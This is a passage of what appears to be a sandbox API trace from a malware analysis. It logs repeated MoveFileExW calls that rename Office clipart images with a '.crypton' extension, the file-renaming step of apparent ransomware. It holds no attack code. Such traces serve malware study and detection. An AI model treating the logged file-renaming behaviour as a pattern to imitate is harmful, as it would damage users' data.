Office\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg.crypton"), dwFlags=0x2) returned 1 [0079.920] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg.crypton"), dwFlags=0x2) returned 1 [0079.954] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg.crypton"), dwFlags=0x2) returned 1 [0079.969] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg.crypton"), dwFlags=0x2) returned 1 [0079.995] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg.crypton"), dwFlags=0x2) returned 1 [0080.005] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg.crypton"), dwFlags=0x2) returned 1 [0080.029] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg.crypton"), dwFlags=0x2) returned 1 [0080.060] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg.crypton"), dwFlags=0x2) returned 1 [0080.081] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg.crypton"), dwFlags=0x2) returned 1 [0080.098] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg.crypton"), dwFlags=0x2) returned 1 [0080.113] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg.crypton"), dwFlags=0x2) returned 1 [0080.128] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg.crypton"), dwFlags=0x2) returned 1 [0080.142] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg.crypton"), dwFlags=0x2) returned 1 [0080.161] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg.crypton"), dwFlags=0x2) returned 1 [0080.191] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg.crypton"), dwFlags=0x2) returned 1 [0080.210] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg.crypton"), dwFlags=0x2) returned 1 [0080.221] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg.crypton"), dwFlags=0x2) returned 1 [0080.250] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg.crypton"), dwFlags=0x2) returned 1 [0080.274] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg.crypton"), dwFlags=0x2) returned 1 [0080.289] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg.crypton"), dwFlags=0x2) returned 1 [0080.310] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg.crypton"), dwFlags=0x2) returned 1 [0080.341] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg.crypton"), dwFlags=0x2) returned 1 [0080.364] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287641.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287641.jpg.crypton"), dwFlags=0x2) returned 1 [0080.384] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287642.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287642.jpg.crypton"), dwFlags=0x2) returned 1 [0080.394] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287643.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287643.jpg.crypton"), dwFlags=0x2) returned 1 [0080.405] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287644.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287644.jpg.crypton"), dwFlags=0x2) returned 1 [0080.426] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287645.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287645.jpg.crypton"), dwFlags=0x2) returned 1 [0080.435] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0289430.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0289430.jpg.crypton"), dwFlags=0x2) returned 1 [0080.443] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309480.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309480.jpg.crypton"), dwFlags=0x2) returned 1 [0080.457] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309567.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309567.jpg.crypton"), dwFlags=0x2) returned 1 [0080.479] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309585.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309585.jpg.crypton"), dwFlags=0x2) returned 1 [0080.497] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309598.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309598.jpg.crypton"), dwFlags=0x2) returned 1 [0080.521] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309664.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309664.jpg.crypton"), dwFlags=0x2) returned 1 [0080.532] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309705.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309705.jpg.crypton"), dwFlags=0x2) returned 1 [0080.554] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313896.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313896.jpg.crypton"), dwFlags=0x2) returned 1 [0080.577] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313965.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313965.jpg.crypton"), dwFlags=0x2) returned 1 [0080.596] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313970.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313970.jpg.crypton"), dwFlags=0x2) returned 1 [0080.622] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313974.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313974.jpg.crypton"), dwFlags=0x2) returned 1 [0080.634] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0314068.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0314068.jpg.crypton"), dwFlags=0x2) returned 1 [0080.646] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315580.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315580.jpg.crypton"), dwFlags=0x2) returned 1 [0080.657] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315612.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315612.jpg.crypton"), dwFlags=0x2) returned 1 [0080.665] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0321179.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0321179.jpg.crypton"), dwFlags=0x2) returned 1 [0080.675] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0337280.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0337280.jpg.crypton"), dwFlags=0x2) returned 1 [0080.683] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341328.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341328.jpg.crypton"), dwFlags=0x2) returned 1 [0080.691] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341344.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341344.jpg.crypton"), dwFlags=0x2) returned 1 [0080.704] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341439.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341439.jpg.crypton"), dwFlags=0x2) returned 1 [0080.716] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341447.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341447.jpg.crypton"), dwFlags=0x2) returned 1 [0080.735] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341448.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341448.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341448.jpg.crypton"), dwFlags=0x2) returned 1 [0080.753] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341455.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341455.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341455.jpg.crypton"), dwFlags=0x2) returned 1 [0080.776] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341475.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341475.jpg.crypton"), dwFlags=0x2) returned 1 [0080.786] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341499.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341499.jpg.crypton"), dwFlags=0x2) returned 1 [0080.793] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341534.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341534.jpg.crypton"), dwFlags=0x2) returned 1 [0080.806] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341551.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341551.jpg.crypton"), dwFlags=0x2) returned 1 [0080.826] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341554.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341554.jpg.crypton"), dwFlags=0x2) returned 1 [0080.847] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341557.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341557.jpg.crypton"), dwFlags=0x2) returned 1 [0080.863] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341559.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341559.jpg.crypton"), dwFlags=0x2) returned 1 [0080.886] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341561.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341561.jpg.crypton"), dwFlags=0x2) returned 1 [0080.893] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341634.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341634.jpg.crypton"), dwFlags=0x2) returned 1 [0080.902] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341636.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341636.jpg.crypton"), dwFlags=0x2) returned 1 [0080.910] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341645.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341645.jpg.crypton"), dwFlags=0x2) returned 1 [0080.920] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341653.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341653.jpg.crypton"), dwFlags=0x2) returned 1 [0080.931] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341654.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341654.jpg.crypton"), dwFlags=0x2) returned 1 [0080.943] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341738.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341738.jpg.crypton"), dwFlags=0x2) returned 1 [0080.956] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341742.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341742.jpg.crypton"), dwFlags=0x2) returned 1 [0080.991] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382836.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382836.jpg.crypton"), dwFlags=0x2) returned 1 [0081.052] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG" (normalized: "c:\\program files\\microsoft 